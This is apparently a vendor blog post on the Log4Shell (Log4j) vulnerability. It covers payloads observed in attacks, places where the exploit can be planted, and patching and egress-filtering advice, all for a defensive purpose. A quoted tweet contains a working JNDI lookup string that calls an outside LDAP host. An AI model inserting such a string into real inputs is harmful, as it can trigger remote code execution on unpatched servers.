How the internet looks to you right now depends on where you sit.
If you’re a normal user, you’ve may have heard about Log4Shell—the vulnerability also known as Log4J or CVE-2021-44228, which was disclosed by Apache on Friday, December 10. You may have even browsed a story or a few headlines about and wondered what all the fuss is about. But if you work behind the scenes at many–if not most–technology companies, you’ve probably been working almost non-stop to patch this vulnerability and contain any possible exploit. And your eyes are surely blurring over as you read this.
What’s going on with Log4Shell
Erka Koivunen, F-Secure’s Chief Information Officer, explained why it’s so difficult to see what’s going on with Log4Shell for those using the internet—and even to those who may be trying to fix their little part of the internet—with a plumbing analogy.
“The activation of this vulnerability doesn’t happen on the frontend services you interact with,” he said. “The poison goes down the plumbing deep inside the Service Provider backend where it starts to detonate or otherwise execute.”
The problem with plumbing is that much of it is connected.
“For example, imagine I live in an apartment complex and I flushed something I shouldn’t have. The material might successfully leave my apartment, travel to the sever duct underneath the next intersection or all the way to the wastewater treatment facility further uptown. There it might block the plumbing and burst a pipe.”
And when people see an IT Service Provider infrastructure burst, they may get ideas.
“People start thinking, ‘What else can I flush down my toilet?” They may do it just for the pleasure of finding things out. Or some people just like to watch the world burn, it seems.”
Listen to Erka discuss what Log4Shell means to your organization on the new episode of our Cyber Security Sauna.
Payloads F-Secure’s threat hunters are seeing
Our last post focused on an overview of the Log4Shell situation, how F-Secure customers were affected, and what can and is being done to mitigate this global threat. F-Secure continues to add detection capabilities to our solutions as the situation develops. (UPDATE: F-Secure released a tool on December 16th that makes it easy to verify if the patches have been applied. The download is available here.)
This post takes a look at the actual threats attackers are trying deploy through this potential gaping hole in networks everywhere. Our threat hunters and other cyber security experts have been monitoring networks have seen the following payloads delivered thus far:
- Deployment of crypto-currency mining software such as xmrig/kinsing
- Deployment of botnets Mirai and Tsunami
- Deployment of Cobalt Strike
- Deployment of Orcus RAT
- Ransomware deployment
- Reverse shells
There are reports that Khonsari ransowmare has been observed as a payload in a successful exploitation. As we know from many incidents in the past, attack tools such as CobaltStrike, remote access trojans and reverse shells may very well be utilized to establish an initial access, paving the way for wider scale ransomware attacks.
Looking for indicators of compromise
F-Secure experts have put together a list of indicators of compromise (14.12.2021) where scanning, exploitation or subsequent payload delivery after Log4j exploitation.
This list consolidates multiple sources. (Excel file)
Potential attack surfaces
Anyone involved with securing a network should remember that this vulnerability can be triggered in multiple ways, even in servers which are not Internet-facing.
Here are some ideas for potential attack surfaces for Log4J:
in your robots.txt 😏
in your dns records (txt…)
in your email headers
in your usernames
in your passwords
in your headers
in your e-mail addresses
in your files
in your SSL Certificates
in your EXIF#log4j— ?${jndi:ldap://resolv.network/a} (@ITSecurityguard) December 11, 2021
Add UserAgent to the list.
Some good news is that if your server cannot connect to attacker’s URL, the attack will stop there.
Don’t just patch
“Companies using Log4j shouldn’t just patch,” Erka said. “They should also begin incident response.”
In addition, Erka recommends:
- Upgrade all instances of Log4j2 to version 2.16.0, which fixes a second less important Log4j vulnerability, if you can.
If you upgraded to 2.15.0, Erka notes, “”Apache didn’t exactly bring clarity by issuing the v2.15.0 twice; first on Monday, December 6 and then again in the European morning hours of Friday, December 10. If you aren’t certain that your 2.15.0 is the “2.15.0-rc2” version, please update to 2.16.0.” - If you’re not using v2.16.0., manually disable the lookup functionality.
- Restrict outbound connections by way of egress filtering or proxying the traffic through a mechanism that features an allow list.
It’s the least you can do to keep the poison out of your plumbing.
Categories